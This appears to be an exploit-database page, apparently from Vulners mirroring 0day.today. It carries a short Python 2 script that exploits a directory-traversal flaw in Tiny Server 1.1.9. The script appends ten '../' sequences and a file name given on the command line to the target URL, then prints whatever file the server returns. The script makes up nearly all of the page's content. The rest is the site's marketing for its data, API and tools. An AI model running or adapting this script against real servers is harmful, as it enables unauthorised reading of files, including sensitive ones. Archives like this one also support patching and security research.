Lucene search
K

Tiny Server 1.1.9 - Arbitrary File Disclosure Exploit

🗓️ 10 Feb 2015 00:00:00Reported by yahyatnskType 
zdt
 zdt
🔗 0day.today👁 14 Views

Tiny Server 1.1.9 Arbitrary File Disclosure Exploit using urllib

Code
# -*- coding: utf-8 -*-
import urllib2
import sys
#Tiny Server v1.1.9 Arbitrary File Disclosure Exploit

def banner():
	print "\033[1m\033[92mTiny Server v1.1.9 Arbitrary File Disclosure Exploit"
	print "Exploit Write by Yahya Tanisik"
	print "Contact : [email protected]"

if(len(sys.argv)==3):
	banner()
	print "\n"
	aragazi = '../'*10
	baglanti = urllib2.Request(str(sys.argv[1])+"/"+aragazi+""+str(sys.argv[2]))
	cikti = urllib2.urlopen(baglanti)
	print ('#'*30)+" File content "+('#'*30)
	print cikti.read()
else:
	banner()
	print "\033[91mUsage python exploit.py http://127.0.0.1:80 flag.txt"

#  0day.today [2018-04-13]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Feb 2015 00:00Current
7.1High risk
Vulners AI Score7.1
14